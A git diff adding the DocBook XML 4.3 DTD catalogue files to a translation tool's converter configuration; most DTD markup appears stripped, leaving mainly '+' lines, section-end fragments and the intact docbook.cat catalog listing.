+ + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbgenent.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbgenent.mod new file mode 100644 index 0000000..d8b27b3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbgenent.mod @@ -0,0 +1,41 @@ + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbhierx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbhierx.mod new file mode 100644 index 0000000..94ab783 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbhierx.mod @@ -0,0 +1,2116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbhier2; +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + +]]> + + + +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + + + +]]> + + + + + +]]> + +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbnotnx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbnotnx.mod new file mode 100644 index 0000000..4938532 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbnotnx.mod @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbpoolx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbpoolx.mod new file mode 100644 index 0000000..fde7ff7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/dbpoolx.mod @@ -0,0 +1,8250 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%rdbpool; +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + + + +]]> + + + +]]> + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + + + +%htmltbl; +]]> + + + + + + + + + + + + + + + + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + +]]> + +%tablemodel; + +]]> + + + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> + + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + + +]]> + + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + ]]> + + + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> + + + + + + + +]]> + + + +]]> + ]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + ]]> + + +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + +]]> + + + + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + +]]> + + + +]]> +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> + + + + + + + +]]> + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + + + +]]> + + + + + + + +]]> +]]> + + + + + + + +]]> + + + + + + +]]> +]]> + + + + + + + + + + +]]> + + + + + + + + + + +]]> +]]> + + + + + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + + + + +]]> + +]]> + + + + + + + +]]> + + + +]]> + + + +]]> + + + +]]> +]]> +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.cat b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.cat new file mode 100644 index 0000000..a8c4340 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.cat @@ -0,0 +1,110 @@ + -- ...................................................................... -- + -- Catalog data for DocBook XML V4.3 .................................... -- + -- File docbook.cat ..................................................... -- + + -- Please direct all questions, bug reports, or suggestions for + changes to the docbook@lists.oasis-open.org mailing list. For more + information, see http://www.oasis-open.org/. + -- + + -- This is the catalog data file for DocBook XML V4.3. It is provided as + a convenience in building your own catalog files. You need not use + the filenames listed here, and need not use the filename method of + identifying storage objects at all. See the documentation for + detailed information on the files associated with the DocBook DTD. + See SGML Open Technical Resolution 9401 for detailed information + on supplying and using catalog data. + -- + + -- ...................................................................... -- + -- DocBook driver file .................................................. -- + +PUBLIC "-//OASIS//DTD DocBook XML V4.3//EN" + "docbookx.dtd" + + -- ...................................................................... -- + -- DocBook modules ...................................................... -- + +PUBLIC "-//OASIS//DTD DocBook CALS Table Model V4.3//EN" + "calstblx.dtd" + +PUBLIC "-//OASIS//DTD XML Exchange Table Model 19990315//EN" + "soextblx.dtd" + +PUBLIC "-//OASIS//ELEMENTS DocBook Information Pool V4.3//EN" + "dbpoolx.mod" + +PUBLIC "-//OASIS//ELEMENTS DocBook Document Hierarchy V4.3//EN" + "dbhierx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Additional General Entities V4.3//EN" + "dbgenent.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Notations V4.3//EN" + "dbnotnx.mod" + +PUBLIC "-//OASIS//ENTITIES DocBook Character Entities V4.3//EN" + "dbcentx.mod" + + -- ...................................................................... -- + -- ISO entity sets ...................................................... -- + +PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN//XML" + "ent/iso-dia.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN//XML" + "ent/iso-num.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Publishing//EN//XML" + "ent/iso-pub.ent" + +PUBLIC "ISO 8879:1986//ENTITIES General Technical//EN//XML" + "ent/iso-tech.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN//XML" + "ent/iso-lat1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Latin 2//EN//XML" + "ent/iso-lat2.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Letters//EN//XML" + "ent/iso-grk1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Monotoniko Greek//EN//XML" + "ent/iso-grk2.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Greek Symbols//EN//XML" + "ent/iso-grk3.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Alternative Greek Symbols//EN//XML" + "ent/iso-grk4.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Arrow Relations//EN//XML" + "ent/iso-amsa.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Binary Operators//EN//XML" + "ent/iso-amsb.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Delimiters//EN//XML" + "ent/iso-amsc.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Negated Relations//EN//XML" + "ent/iso-amsn.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Ordinary//EN//XML" + "ent/iso-amso.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Added Math Symbols: Relations//EN//XML" + "ent/iso-amsr.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Box and Line Drawing//EN//XML" + "ent/iso-box.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Russian Cyrillic//EN//XML" + "ent/iso-cyr1.ent" + +PUBLIC "ISO 8879:1986//ENTITIES Non-Russian Cyrillic//EN//XML" + "ent/iso-cyr2.ent" + + -- End of catalog data for DocBook XML V4.3 ............................. -- + -- ...................................................................... -- diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dcl b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dcl new file mode 100644 index 0000000..fb08e71 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dcl @@ -0,0 +1,106 @@ + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dtd new file mode 100644 index 0000000..c344a51 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbook.dtd @@ -0,0 +1,65 @@ + + + + + + + + + + + + + +%docbook; + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbookx.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbookx.dtd new file mode 100644 index 0000000..5b63407 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/docbookx.dtd @@ -0,0 +1,165 @@ + + + + + + + + + + + + + + + +]]> + + + + + + + + + +]]> +]]> + + + +]]> + + + +]]> + + + + + + +%dbnotn; +]]> + + + + + + +]]> + +]]> + + +%dbcent; +]]> + + + + + + + + +%dbpool; +]]> + + + + + + +%rdbmods; +]]> + + + + + +%dbhier; +]]> + + + + + + +%dbgenent; +]]> + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/htmltblx.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/htmltblx.mod new file mode 100644 index 0000000..5237851 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/htmltblx.mod @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsa.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsa.ent new file mode 100644 index 0000000..013464e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsa.ent @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsb.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook4.3/iso-amsb.ent new file mode 100644 index 0000000..074a110 --- /dev/null +++ 